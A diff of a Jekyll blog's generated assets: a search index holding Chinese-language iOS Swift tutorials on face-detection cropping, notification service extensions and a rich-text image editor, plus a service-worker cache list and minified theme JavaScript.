faceObservation.boundingBox.applying(translate).applying(transform) let center = CGPoint(x: (finalRect.origin.x + finalRect.width/2 - size.width/2), y: (finalRect.origin.y + finalRect.height/2 - size.height/2)) //這裡是計算臉的範圍中間點位置 let newImage = image.kf.resize(to: size, for: .aspectFill).kf.crop(to: size, anchorOn: center) //將圖片依照中間點裁切 DispatchQueue.main.async { //操作UIVIEW,切回主執行緒 self.imageView.image = newImage } } else { print(\"偵測到多張臉或沒有偵測到臉\") } } let baseRequest = VNDetectFaceRectanglesRequest(completionHandler: completionHandle) let faceHandle = VNImageRequestHandler(ciImage: ciImage, options: [:]) DispatchQueue.global().async { do{ try faceHandle.perform([baseRequest]) }catch{ print(\"Throws:\\(error)\") } }} else { print(\"不支援\")}道理跟標記人臉位置差不多,差別在大頭貼的部分是固定尺寸(如:300x300),所以我們略過前面需要讓Image適應ImageView的第一部分另一個差別是我們要多計算人臉範圍的中心點,並以這個中心點為準做裁切圖片紅點為臉的範圍中心點完成效果圖:頓丹前的那一秒是原始圖位置完整APP範例:程式碼已上傳至Github: 請點此有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS ≥ 10 Notification Service Extension 應用 (Swift)", "url": "/posts/cb6eba52a342/", "categories": "ZRealm, Dev.", "tags": "swift, push-notification, notificationservice, ios, ios-app-development", "date": "2018-10-15 23:44:01 +0800", "snippet": "iOS ≥ 10 Notification Service Extension 應用 (Swift)圖片推播、推播顯示統計、推播顯示前處理關於基礎的推播建置、推播原理;網路資料很多,這邊就不再論述,本篇主要重點在如何讓APP支援圖片推播及運用新特性達成更精準的推播顯示統計.如上圖所示,Notification Service Extension讓你在APP收到推播後能針對推播做預處理,然後才...", "content": "iOS ≥ 10 Notification Service Extension 應用 (Swift)圖片推播、推播顯示統計、推播顯示前處理關於基礎的推播建置、推播原理;網路資料很多,這邊就不再論述,本篇主要重點在如何讓APP支援圖片推播及運用新特性達成更精準的推播顯示統計.如上圖所示,Notification Service Extension讓你在APP收到推播後能針對推播做預處理,然後才顯示推播內容官方文件寫到,我們針對推播進來的內容做處理時,處理時限大約30秒鐘,如果超過30秒還沒CallBack,推播就會繼續執行,出現在使用者的手機.支援度iOS ≥ 10.030秒可以幹嘛? (目標1) 從推播內容的圖片連結欄位下載圖片回來,並附加到推播內容上🏆 (目標2) 統計推播有無顯示🏆 推播內容修改、重組內容 推播內容加解密(解密)顯示 決定推播要不要顯示? =>> 答案:不行首先,後端推播程式的 Payload 部分後端在推播時的結構要多加上一行 “mutable-content\":1 系統收到推播才會執行Notification Service Extension{ \"aps\": { \"alert\": { \"title\": \"新文章推薦給您\", \"body\": \"立即查看\" }, \"mutable-content\":1, \"sound\": \"default\", \"badge\": 0 }}And… 第一步,為專案新建一個TargetStep 1. Xcode -> File -> New -> TargetStep 2. iOS -> Notification Service Extension -> NextStep 3. 輸入Product Name -> FinishStep 4. 點選 Activate第二步,撰寫推播內容處理程式找到Product Name/NotificationService.swift檔import UserNotificationsclass NotificationService: UNNotificationServiceExtension { var contentHandler: ((UNNotificationContent) -> Void)? var bestAttemptContent: UNMutableNotificationContent? override func didReceive(_ request: UNNotificationRequest, withContentHandler contentHandler: @escaping (UNNotificationContent) -> Void) { self.contentHandler = contentHandler bestAttemptContent = (request.content.mutableCopy() as? UNMutableNotificationContent) if let bestAttemptContent = bestAttemptContent { // Modify the notification content here... // 推播內容在這處理,Load 圖片回來 bestAttemptContent.title = \"\\(bestAttemptContent.title) [modified]\" contentHandler(bestAttemptContent) } } override func serviceExtensionTimeWillExpire() { // Called just before the extension will be terminated by the system. // Use this as an opportunity to deliver your \"best attempt\" at modified content, otherwise the original push payload will be used. // 要逾時了,不管圖片 只改標題內容就好 if let contentHandler = contentHandler, let bestAttemptContent = bestAttemptContent { contentHandler(bestAttemptContent) } }}如上程式碼,NotificationService有兩個接口;第一個是 didReceive 當有推播進來時會觸發這個function,其中當處理完畢後需要呼叫 contentHandler(bestAttemptContent) 這個CallBack Method告知系統如果時間過久都沒呼叫CallBack Method,就會觸發第二個 function serviceExtensionTimeWillExpire() 已逾時,基本上已回天乏術,只能做一些收尾的動作(例如:單純改改標題、內容,不Load網路資料了)實戰範例這裡假設我們的 Payload 如下{ \"aps\": { \"alert\": { \"push_id\":\"2018001\", \"title\": \"新文章推薦給您\", \"body\": \"立即查看\", \"image\": \"https://d2uju15hmm6f78.cloudfront.net/image/2016/12/04/3113/2018/09/28/trim_153813426461775700_450x300.jpg\" }, \"mutable-content\":1, \"sound\": \"default\", \"badge\": 0 }}「push_id」跟「image」都是我自訂的欄位,push_id用於辨識推播方便我們傳回伺服器做統計;image 則是推播要附加的圖片內容之圖片網址override func didReceive(_ request: UNNotificationRequest, withContentHandler contentHandler: @escaping (UNNotificationContent) -> Void) { self.contentHandler = contentHandler bestAttemptContent = (request.content.mutableCopy() as? UNMutableNotificationContent) if let bestAttemptContent = bestAttemptContent { guard let info = request.content.userInfo[\"aps\"] as? NSDictionary,let alert = info[\"alert\"] as? Dictionary<String,String> else { contentHandler(bestAttemptContent) return //推播內容格式不如預期,不處理 } //目標2: //回傳Server,告知推播有顯示 if let push_id = alert[\"push_id\"],let url = URL(string: \"顯示統計API網址\") { var request = URLRequest(url: url, cachePolicy: .reloadIgnoringLocalCacheData, timeoutInterval: 30) request.httpMethod = \"POST\" request.addValue(UserAgent, forHTTPHeaderField: \"User-Agent\") var httpBody = \"push_id=\\(push_id)\" request.addValue(\"application/x-www-form-urlencoded\", forHTTPHeaderField: \"Content-Type\") request.httpBody = httpBody.data(using: .utf8) let task = URLSession.shared.dataTask(with: request) { (data, response, error) in } DispatchQueue.global().async { task.resume() //異步處理,不管他 } } //目標1: guard let imageURLString = alert[\"image\"],let imageURL = URL(string: imageURLString) else { contentHandler(bestAttemptContent) return //若無附圖片,則不用特別處理 } let dataTask = URLSession.shared.dataTask(with: imageURL) { (data, response, error) in guard let fileURL = NSURL(fileURLWithPath: NSTemporaryDirectory()).appendingPathComponent(imageURL.lastPathComponent) else { contentHandler(bestAttemptContent) return } guard (try? data?.write(to: fileURL)) != nil else { contentHandler(bestAttemptContent) return } guard let attachment = try? UNNotificationAttachment(identifier: \"image\", url: fileURL, options: nil) else { contentHandler(bestAttemptContent) return } //以上為讀取圖片連結並下載到手機並放入建立UNNotificationAttachment bestAttemptContent.categoryIdentifier = \"image\" bestAttemptContent.attachments = [attachment] //為推播添加附件圖片 bestAttemptContent.body = (bestAttemptContent.body == \"\") ? (\"立即查看\") : (bestAttemptContent.body) //如果body為空,則用預設內容\"立即查看\" contentHandler(bestAttemptContent) } dataTask.resume() }}serviceExtensionTimeWillExpire 的部分我沒特別處理什麼,就不貼了;關鍵還是上述 didReceive 的程式碼可以看到當接受到有推播通知時,我們先Call Api告訴後端有收到並將顯示推播了,方便我們後台做推播統計;然後若有附加圖片再對圖片進行處理.In-App狀態時:ㄧ樣會觸發Notification Service Extension didReceive 再觸發AppDelegate的 func application( _ application: UIApplication, didReceiveRemoteNotification userInfo: [AnyHashable : Any ], fetchCompletionHandler completionHandler: @escaping (UIBackgroundFetchResult) -> Void) 方法附註:關於圖片推播的部分你還可以….使用 Notification Content Extension 自訂推播按壓時要顯示的UIView(可以自己刻),還有按壓的動作可參考這篇: iOS10推送通知进阶(Notification Extension)iOS 12之後支援更多動作處理: iOS 12 新通知功能:添加互動性 在通知中實作複雜功能Notification Content Extension的部分,我只拉了一個能展示圖片推播的UIView 並沒有做太多琢磨:結婚吧APP有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS UITextView 文繞圖編輯器 (Swift)", "url": "/posts/e37d66ea1146/", "categories": "ZRealm, Dev.", "tags": "swift, ios, mobile-app-development, uitextview, ios-app-development", "date": "2018-10-14 02:07:49 +0800", "snippet": "iOS UITextView 文繞圖編輯器 (Swift)實戰路線目標功能:APP上有一個讓使用者能發表文章的討論區功能,發表文章功能介面需要能輸入文字、插入多張圖片、支援文繞圖穿插.功能需求: 能輸入多行文字 能在行中穿插圖片 能上傳多張圖片 能隨意移除插入的圖片 圖片上傳效果/失敗處理 能將輸入內容轉譯成可傳遞文本 EX: BBCODE先上個成品效果圖:結婚吧APP開始:第一...", "content": "iOS UITextView 文繞圖編輯器 (Swift)實戰路線目標功能:APP上有一個讓使用者能發表文章的討論區功能,發表文章功能介面需要能輸入文字、插入多張圖片、支援文繞圖穿插.功能需求: 能輸入多行文字 能在行中穿插圖片 能上傳多張圖片 能隨意移除插入的圖片 圖片上傳效果/失敗處理 能將輸入內容轉譯成可傳遞文本 EX: BBCODE先上個成品效果圖:結婚吧APP開始:第一章什麼?你說第一章?不就用UITextView就能做到編輯器功能,哪來還需要分到「章節」;是的,我一開始的反應也是如此,直到我開始做才發現事情沒有那麼簡單,其中苦惱了我兩個星期、翻片國內外各種資料最後才找到解法,實作的心路歷程就讓我娓娓道來….如果想直接知道最終解法,請直接跳到最後一章(往下滾滾滾滾滾).一開始文字編輯器理所當然是使用UITextView元件,看了一下文件UITextView attributedText 自帶 NSTextAttachment物件 可以附加圖片實做出文繞圖效果,程式碼也很簡單:let imageAttachment = NSTextAttachment()imageAttachment.image = UIImage(named: \"example\")self.contentTextView.attributedText = NSAttributedString(attachment: imageAttachment)當初天真的我還很開心想說蠻簡單的啊、好方便;問題現在才正要開始: 圖片要能是從本地選擇&上傳:這好解決,圖片選擇器我使用 TLPhotoPicker 這個套件(支援多圖選擇/客製化設定/切換相機拍照/Live Photos),具體作法就是 TLPhotoPicker選完圖片Callback後將PHAsset轉成UIImage塞進去imageAttachment.image並預先在背景上傳圖片至Server。 圖片上傳要有效果並能添加互動操作(點擊查看原圖/點擊X能刪除):沒做出來,找不到NSTextAttachment有什麼辦法能做到這項需求,不過這功能沒有還行反正還是能刪除(在圖片後按鍵盤上的「Back」鍵能刪除圖片),我們繼續… 原始圖檔案過大,上傳慢、插入慢、吃效能:插入及上傳前先Resize過,用 Kingfisher 的resizeTo 圖片插入在游標停留的位置:這裡就要將原本的Code改成如下let range = self.contentTextView.selectedRange.location ?? NSRange(location: 0, length: 0)let combination = NSMutableAttributedString(attributedString: self.contentTextView.attributedText) //取得當前內容combination.insert(NSAttributedString(attachment: imageAttachment), at: range)self.contentTextView.attributedText = combination //回寫回去 圖片上傳失敗處理:這裡要說一下,我實際另外寫了一個Class 擴充原始的 NSTextAttachment 目的就是要多塞個屬性存識別用的值class UploadImageNSTextAttachment:NSTextAttachment { var uuid:String?}上傳圖片時改成:let id = UUID().uuidStringlet attachment = UploadImageNSTextAttachment()attachment.uuid = id有辦法辨識NSTextAttachment的對應之後,我們就能針對上傳失敗的圖片,去attributedTextd裡做NSTextAttachment搜索,找到他並取代成錯誤提示圖或直接移除if let content = self.contentTextView.attributedText { content.enumerateAttributes(in: NSMakeRange(0, content.length), options: NSAttributedString.EnumerationOptions(rawValue: 0)) { (object, range, stop) in if object.keys.contains(NSAttributedStringKey.attachment) { if let attachment = object[NSAttributedStringKey.attachment] as? UploadImageNSTextAttachment,attachment.uuid == \"目標ID\" { attachment.bounds = CGRect(x: 0, y: 0, width: 30, height: 30) attachment.image = UIImage(named: \"IconError\") let combination = NSMutableAttributedString(attributedString: content) combination.replaceCharacters(in: range, with: NSAttributedString(attachment: attachment)) //如要直接移除可用deleteCharacters(in: range) self.contentTextView.attributedText = combination } } }}克服上述問題後,程式碼大約會長成這樣:class UploadImageNSTextAttachment:NSTextAttachment { var uuid:String?}func dismissPhotoPicker(withTLPHAssets: [TLPHAsset]) { //TLPhotoPicker 圖片選擇器的Callback let range = self.contentTextView.selectedRange.location ?? NSRange(location: 0, length: 0) //取得游標停留位置,無則從頭 guard withTLPHAssets.count > 0 else { return } DispatchQueue.global().async { in //在背景處理 let orderWithTLPHAssets = withTLPHAssets.sorted(by: { $0.selectedOrder > $1.selectedOrder }) orderWithTLPHAssets.forEach { (obj) in if var image = obj.fullResolutionImage { let id = UUID().uuidString var maxWidth:CGFloat = 1500 var size = image.size if size.width > maxWidth { size.width = maxWidth size.height = (maxWidth/image.size.width) * size.height } image = image.resizeTo(scaledToSize: size) //縮圖 let attachment = UploadImageNSTextAttachment() attachment.bounds = CGRect(x: 0, y: 0, width: size.width, height: size.height) attachment.uuid = id DispatchQueue.main.async { //切回主執行緒更新UI插入圖片 let combination = NSMutableAttributedString(attributedString: self.contentTextView.attributedText) attachments.forEach({ (attachment) in combination.insert(NSAttributedString(string: \"\\n\"), at: range) combination.insert(NSAttributedString(attachment: attachment), at: range) combination.insert(NSAttributedString(string: \"\\n\"), at: range) }) self.contentTextView.attributedText = combination } //上傳圖片至Server //Alamofire post or.... //POST image //if failed { if let content = self.contentTextView.attributedText { content.enumerateAttributes(in: NSMakeRange(0, content.length), options: NSAttributedString.EnumerationOptions(rawValue: 0)) { (object, range, stop) in if object.keys.contains(NSAttributedStringKey.attachment) { if let attachment = object[NSAttributedStringKey.attachment] as? UploadImageNSTextAttachment,attachment.uuid == obj.key { //REPLACE: attachment.bounds = CGRect(x: 0, y: 0, width: 30, height: 30) attachment.image = //ERROR Image let combination = NSMutableAttributedString(attributedString: content) combination.replaceCharacters(in: range, with: NSAttributedString(attachment: attachment)) //OR DELETE: //combination.deleteCharacters(in: range) self.contentTextView.attributedText = combination } } } } //} // } } }}到此差不多問題都解決了,那是什麼苦惱了我兩週呢?答:「記憶體」問題iPhone 6頂不住啊!以上做法插入超過5張圖片,UITextView就會開始卡頓;到一個程度就會因為記憶體負荷不了APP直接閃退p.s 試過各種壓縮/其他儲存方式,結果依然推測原因是,UITextView沒有針對圖片的NSTextAttachment做Reuse,你所插入的所有圖片都Load在記憶體之中不會釋放;所以除非是拿來穿插表情符號那種小圖😅,不然根本不能拿來做文繞圖第二章發現記憶體這個「硬傷」後,繼續在網路上搜索解決方案,得到以下其他做法: 用WebView嵌套HTML檔案( <div contentEditable=”true”></div>)並用JS跟WebView做交互處理 用UITableView结合UITextView,能Reuse 基於TextKit自行擴充UITextView🏆第一項用WebView嵌套HTML檔案的做法;考量到效能跟使用者體驗,所以不考慮,有興趣的朋友可以在Github搜尋相關的解決方案(EX: RichTextDemo )第二項用UITableView结合UITextView我實作了大約7成出來,具體大約是每一行都是一個Cell,Cell有兩種,一種是UITextView另一種是UIImageView,圖片一行文字一行;內容必須用陣列去儲存,避免Reuse過程消失能優秀的Reuse解決記憶體問題,但做到後面還是放棄了,在 控制行尾按Return要能新建一行並跳到該行 和 控制行頭按Back鍵要能跳到上一行(若當前為空行要能刪除該行) 這兩個部分上吃足苦頭,非常難控制有興趣的朋友可參考: MMRichTextEdit 」最終章走到這裡已經耗費了許多時間,開發時程嚴重拖延;目前最終解法就是用TextKit這裡附上兩篇找到的文章給有興趣研究的朋友: TextKit 探究 从UITextView看文字绘制优化但有一定的學習門檻,對我這個菜鳥來說太難了,再說時間也已不夠,只能漫無目的在Github尋找他山之石借借用用最終找到 XLYTextKitExtension 這個項目,可以直接引入Code使用✔ 讓 NSTextAttachment 支援自訂義UIView 要加什麼交互操作都可以✔ NSTextAttachment 可以Reuse 不會撐爆記憶體具體實作方式跟 第一章 差不多,就只差在原本是用NSTextAttachment而現在改用XLYTextAttachment針對要使用的UITextView:contentTextView.setUseXLYLayoutManager()Tip 1:插入NSTextAttachment的地方改為let combine = NSMutableAttributedString(attributedString: NSAttributedString(string: \"\"))let imageView = UIView() // your custom viewlet imageAttachment = XLYTextAttachment { () -> UIView in return imageView}imageAttachment.id = idimageAttachment.bounds = CGRect(x: 0, y: 0, width: size.width, height: size.height)combine.append(NSAttributedString(attachment: imageAttachment))self.contentTextView.textStorage.insert(combine, at: range)Tip 2:NSTextAttachment搜索改為self.contentTextView.textStorage.enumerateAttribute(NSAttributedStringKey.attachment, in: NSRange(location: 0, length: self.contentTextView.textStorage.length), options: []) { (value, range, stop) in if let attachment = value as? XLYTextAttachment { //attachment.id }}Tip 3:刪除NSTextAttachment項目改為self.contentTextView.textStorage.deleteCharacters(in: range)Tip 4:取得當前內容長度self.contentTextView.textStorage.lengthTip 5:刷新Attachment的Bounds大小主因是為了使用者體驗;插入圖片時我會先塞一張loading圖,插入的圖片在背景壓縮後才會替換上去,要去更新TextAttachment的Bounds成Resize後大小self.contentTextView.textStorage.addAttributes([:], range: range)(新增空屬性,觸發刷新)Tip 6: 將輸入內容轉譯成可傳遞文本運用Tip 2搜索全部輸入內容並將找到的Attachment取出ID組合成類似[ [ID] ]格式傳遞Tip 7: 內容取代self.contentTextView.textStorage.replaceCharacters(in: range,with: NSAttributedString(attachment: newImageAttachment))Tip 8: 正規表示法匹配內容所在Rangelet pattern = \"(\\\\[\\\\[image_id=){1}([0-9]+){1}(\\\\]\\\\]){1}\"let textStorage = self.contentTextView.textStorageif let regex = try? NSRegularExpression(pattern: pattern, options: .caseInsensitive) { while true { let range = NSRange(location: 0, length: textStorage.length) if let match = regex.matches(in: textStorage.string, options: .withTransparentBounds, range: range).first { let matchString = textStorage.attributedSubstring(from: match.range) //FINDED! } else { break } }}注意:如果你要搜尋&取代項目,需要使用While迴圈,不然當有多個搜尋結果時,找到第一個並取代後,後面的搜尋結果的Range就會錯誤導致閃退.結語目前使用此方法完成成品並上線了,還沒遇到有什麼問題;有時間我再來好好探究一下其中的原理吧!這篇比較不是教學文章,而是個人解題心得分享;如果您也在實作類似功能,希望有幫助到你,有任何問題及指教歡迎與我聯絡. Medium的正式第一篇===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Medium的第一篇", "url": "/posts/b7a3fb3d5531/", "categories": "ZRealm, Life.", "tags": "blog, blogger, developer, 生活, medium", "date": "2018-10-06 12:53:36 +0800", "snippet": "萬事起頭難已經超過4年沒有在經營Blog,之前的廣告收益尾款US$88就這樣一直卡著,最近發現可以主動要求取消Adsense帳戶,只要達到最低給付額度Google就會把最後一筆收益給你;這也算是給了我一個動力再回來寫Blog.初來乍到,就用“萬事起頭難” 這個簡單的標題當作開端回想起寫Blog的歷史,大約是在國中正值最瘋遊戲的時期,那時候家中電腦很爛基本沒什麼遊戲可以玩,但在那個貪玩的年紀,...", "content": "萬事起頭難已經超過4年沒有在經營Blog,之前的廣告收益尾款US$88就這樣一直卡著,最近發現可以主動要求取消Adsense帳戶,只要達到最低給付額度Google就會把最後一筆收益給你;這也算是給了我一個動力再回來寫Blog.初來乍到,就用“萬事起頭難” 這個簡單的標題當作開端回想起寫Blog的歷史,大約是在國中正值最瘋遊戲的時期,那時候家中電腦很爛基本沒什麼遊戲可以玩,但在那個貪玩的年紀,就算沒遊戲可以打還是要每天打開電腦,對那時候的我來說就已經很新鮮了.由於以上因素,所以大部分用電腦的時間我都在用即時通跟同學喇賽、逛逛網頁;可想而知,其實很空洞又缺乏成就感(至少別人玩遊戲還能獲得成就感)而就在那時”Blog”正值興盛時期這個對我來說非常的新鮮;而第一個接觸的當然就是紅極一時的無名小站,當我辦好帳號第一次打開Blog的那個時刻心情就是「哇!有自己的網站」、「哇!還可以換樣式好酷」;剛好學校電腦課有教網頁設計(Front-Page 2003/ 阿聖網站 ),所以第一個Blog都在研究功能上的項目;找素材、玩樣式跟裝很多很“夏趴”的JavaScript外掛,反觀內容質量部分基本上都是廢文.這讓當時對網路世界懵懂無知的我有了更深入的認識,例如:如何找資料?、外掛裝上去壞掉怎麼解決?、圖片怎麼嵌入?….等等其中有許多資料都是由論壇取得,當時也是”論壇”的興盛時期,但我就是標準的潛水客只看不發,偶爾回個文「感謝大大無私分享」;在逛各大論壇的時候發現有”免費論壇”這種東西,申請就能當站長有自己的論壇,Level相比Blog又更高一層了,這次是“站長”、“站長”、“站長” 好酷!!結合之前玩轉Blog設定的基礎,論壇可以玩的設定又多更多(開版/會員權限/插件中心) 什麼都可以自己設定,宛如進入到另一個世界免費論壇系統有很多家;當中一直換來換去不斷的嘗試,有的是功能不完全、有的是不自由、有的不穩定、有的廣告太干擾,最後比較有印象的是 Marlito ,最符合我的需求,也在上面經營得最久.與此同時,Blog也搬家到” 優仕網部落格 ”;起因是無名開始限制東限制西,優仕網那時候剛起步,先來先贏、限制少、功能符合需求,這次有在經營文章內容,7成在分享我覺得好用的程式(類似阿榮福利味)另外3成是玩論壇的經驗分享(設定/BUG處理)文章總數大約30篇,瀏覽量一天約200人/最高500人(現在看來沒什麼)、優仕網部落格排行榜前10名,流量幾乎都來在分享好用程式的文章;認真經營了一年多,再來遇到國三忙課業、上高中,一路斷斷續續,之後又參加選手培訓就放著養蚊子了。由於Blog名稱太中二,只放上瀏覽數截圖之後又再創了一個 Blogger 都是技術面的文章紀錄寫程式遇到的問題跟解決方法;但Blogger不好用,基本功能都無法滿足,寫了幾篇就放棄了後期自己申請網域跟買空間架了一個WordPress Blog,但什麼都要自己來、設定、調整功能…我無法專注在寫內容這件事上ㄧ樣是斷斷續續在寫,空間到期後就不續約網站直接下線直到現在。總結,一路走來從對Blog這個東西感到很新鮮->到->研究玩轉Blog的功能->到->開始專注Blog本質-文章內容->到->分享技術型文章懶了、少了紀錄過程及回頭檢視和分享出來、嘗過廣告收益的甜頭,漸漸地離初衷越來越遠,單純熱心想要與大家分享的那顆心https://www.flickr.com/photos/zuvonne/3738631215給自己一個新目標,教學相長為初衷,開始重新紀錄生活! 技術面的:iOS App開發,Swift,PHP,Mysql… 生活面的:工作、攝影、開箱、Murmur有的沒的 經驗面的:最近在碰機器學習,從0開始的過程 故事面的:技能競賽經歷、生活觀察===本文首次發表於 Medium ➡️ 前往查看" } ] diff --git a/assets/js/data/swcache.js b/assets/js/data/swcache.js new file mode 100644 index 000000000..485f6684f --- /dev/null +++ b/assets/js/data/swcache.js @@ -0,0 +1 @@ +const resource = [ /* --- CSS --- */ '/assets/css/style.css', /* --- PWA --- */ '/app.js', '/sw.js', /* --- HTML --- */ '/index.html', '/404.html', '/categories/', '/tags/', '/archives/', '/about/', '/real/', '/contact/', /* --- Favicons & compressed JS --- */ '/assets/img/favicons/android-chrome-192x192.png', '/assets/img/favicons/android-chrome-512x512.png', '/assets/img/favicons/apple-touch-icon.png', '/assets/img/favicons/favicon-16x16.png', '/assets/img/favicons/favicon-32x32.png', '/assets/img/favicons/favicon.ico', '/assets/img/favicons/mstile-150x150.png', '/assets/img/favicons/safari-pinned-tab.svg', '/assets/js/dist/categories.min.js', '/assets/js/dist/commons.min.js', '/assets/js/dist/home.min.js', '/assets/js/dist/misc.min.js', '/assets/js/dist/page.min.js', '/assets/js/dist/post.min.js' ]; /* The request url with below domain will be cached */ const allowedDomains = [ 'zhgchg.li', 'fonts.gstatic.com', 'fonts.googleapis.com', 'cdn.jsdelivr.net', 'polyfill.io' ]; /* Requests that include the following path will be banned */ const denyUrls = []; diff --git a/assets/js/dist/categories.min.js b/assets/js/dist/categories.min.js new file mode 100644 index 000000000..bebf80fcd --- /dev/null +++ b/assets/js/dist/categories.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v6.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +!function(){"use strict";function e(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function t(e,t){for(var r=0;re.length)&&(t=e.length);for(var r=0,o=new Array(t);r.row"),v=$("#topbar-title"),m=$("#search-wrapper"),g=$("#search-result-wrapper"),y=$("#search-results"),h=$("#search-input"),C=$("#search-hints"),w=$("html,body"),k="loaded",A="unloaded",S="input-focus",T="d-flex",j=function(){function t(){e(this,t)}return r(t,null,[{key:"on",value:function(){t.offset=window.scrollY,w.scrollTop(0)}},{key:"off",value:function(){w.scrollTop(t.offset)}}]),t}();o(j,"offset",0),o(j,"resultVisible",!1);var E=function(){function t(){e(this,t)}return r(t,null,[{key:"on",value:function(){f.addClass(A),v.addClass(A),d.addClass(A),m.addClass(T),p.addClass(k)}},{key:"off",value:function(){p.removeClass(k),m.removeClass(T),f.removeClass(A),v.removeClass(A),d.removeClass(A)}}]),t}(),O=function(){function t(){e(this,t)}return r(t,null,[{key:"on",value:function(){j.resultVisible||(j.on(),g.removeClass(A),b.addClass(A),j.resultVisible=!0)}},{key:"off",value:function(){j.resultVisible&&(y.empty(),C.hasClass(A)&&C.removeClass(A),g.addClass(A),b.removeClass(A),j.off(),h.val(""),j.resultVisible=!1)}}]),t}();function x(){return p.hasClass(k)}var P=$(".collapse");var V,I;$(".code-header>button").children().attr("class"),V=$(window),I=$("#back-to-top"),V.on("scroll",(function(){V.scrollTop()>50?I.fadeIn():I.fadeOut()})),I.on("click",(function(){V.scrollTop(0)})),n(document.querySelectorAll('[data-bs-toggle="tooltip"]')).map((function(e){return new bootstrap.Tooltip(e)})),0!==i.length&&i.off().on("click",(function(e){var t=$(e.target),r=t.prop("tagName")==="button".toUpperCase()?t:t.parent();modeToggle.flipMode(),r.trigger("blur")})),$("#sidebar-trigger").on("click",c.toggle),$("#mask").on("click",c.toggle),d.on("click",(function(){E.on(),O.on(),h.trigger("focus")})),p.on("click",(function(){E.off(),O.off()})),h.on("focus",(function(){m.addClass(S)})),h.on("focusout",(function(){m.removeClass(S)})),h.on("input",(function(){""===h.val()?x()?C.removeClass(A):O.off():(O.on(),x()&&C.addClass(A))})),P.on("hide.bs.collapse",(function(){var e="h_"+$(this).attr("id").substring(2);e&&($("#".concat(e," .far.fa-folder-open")).attr("class","far fa-folder fa-fw"),$("#".concat(e," i.fas")).addClass("rotate"),$("#".concat(e)).removeClass("hide-border-bottom"))})),P.on("show.bs.collapse",(function(){var e="h_"+$(this).attr("id").substring(2);e&&($("#".concat(e," .far.fa-folder")).attr("class","far fa-folder-open fa-fw"),$("#".concat(e," i.fas")).removeClass("rotate"),$("#".concat(e)).addClass("hide-border-bottom"))}))}(); diff --git a/assets/js/dist/commons.min.js b/assets/js/dist/commons.min.js new file mode 100644 index 000000000..97d930bfa --- /dev/null +++ b/assets/js/dist/commons.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v6.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +!function(){"use strict";function e(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function t(e,t){for(var r=0;re.length)&&(t=e.length);for(var r=0,n=new Array(t);r.row"),m=$("#topbar-title"),v=$("#search-wrapper"),y=$("#search-result-wrapper"),g=$("#search-results"),h=$("#search-input"),C=$("#search-hints"),w=$("html,body"),k="loaded",A="unloaded",S="input-focus",T="d-flex",j=function(){function t(){e(this,t)}return r(t,null,[{key:"on",value:function(){t.offset=window.scrollY,w.scrollTop(0)}},{key:"off",value:function(){w.scrollTop(t.offset)}}]),t}();n(j,"offset",0),n(j,"resultVisible",!1);var E,O,x=function(){function t(){e(this,t)}return r(t,null,[{key:"on",value:function(){c.addClass(A),m.addClass(A),d.addClass(A),v.addClass(T),p.addClass(k)}},{key:"off",value:function(){p.removeClass(k),v.removeClass(T),c.removeClass(A),m.removeClass(A),d.removeClass(A)}}]),t}(),P=function(){function t(){e(this,t)}return r(t,null,[{key:"on",value:function(){j.resultVisible||(j.on(),y.removeClass(A),b.addClass(A),j.resultVisible=!0)}},{key:"off",value:function(){j.resultVisible&&(g.empty(),C.hasClass(A)&&C.removeClass(A),y.addClass(A),b.removeClass(A),j.off(),h.val(""),j.resultVisible=!1)}}]),t}();function V(){return p.hasClass(k)}E=$(window),O=$("#back-to-top"),E.on("scroll",(function(){E.scrollTop()>50?O.fadeIn():O.fadeOut()})),O.on("click",(function(){E.scrollTop(0)})),o(document.querySelectorAll('[data-bs-toggle="tooltip"]')).map((function(e){return new bootstrap.Tooltip(e)})),0!==l.length&&l.off().on("click",(function(e){var t=$(e.target),r=t.prop("tagName")==="button".toUpperCase()?t:t.parent();modeToggle.flipMode(),r.trigger("blur")})),$("#sidebar-trigger").on("click",f.toggle),$("#mask").on("click",f.toggle),d.on("click",(function(){x.on(),P.on(),h.trigger("focus")})),p.on("click",(function(){x.off(),P.off()})),h.on("focus",(function(){v.addClass(S)})),h.on("focusout",(function(){v.removeClass(S)})),h.on("input",(function(){""===h.val()?V()?C.removeClass(A):P.off():(P.on(),V()&&C.addClass(A))}))}(); diff --git a/assets/js/dist/home.min.js b/assets/js/dist/home.min.js new file mode 100644 index 000000000..f8cd3f14e --- /dev/null +++ b/assets/js/dist/home.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v6.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +!function(){"use strict";function t(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function e(t,e){for(var r=0;rt.length)&&(e=t.length);for(var r=0,n=new Array(e);r.row"),g=$("#topbar-title"),v=$("#search-wrapper"),y=$("#search-result-wrapper"),b=$("#search-results"),h=$("#search-input"),C=$("#search-hints"),w=$("html,body"),k="loaded",T="unloaded",j="input-focus",A="d-flex",S=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){e.offset=window.scrollY,w.scrollTop(0)}},{key:"off",value:function(){w.scrollTop(e.offset)}}]),e}();n(S,"offset",0),n(S,"resultVisible",!1);var x=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){f.addClass(T),g.addClass(T),d.addClass(T),v.addClass(A),m.addClass(k)}},{key:"off",value:function(){m.removeClass(k),v.removeClass(A),f.removeClass(T),g.removeClass(T),d.removeClass(T)}}]),e}(),E=function(){function e(){t(this,e)}return r(e,null,[{key:"on",value:function(){S.resultVisible||(S.on(),y.removeClass(T),p.addClass(T),S.resultVisible=!0)}},{key:"off",value:function(){S.resultVisible&&(b.empty(),C.hasClass(T)&&C.removeClass(T),y.addClass(T),p.removeClass(T),S.off(),h.val(""),S.resultVisible=!1)}}]),e}();function F(){return 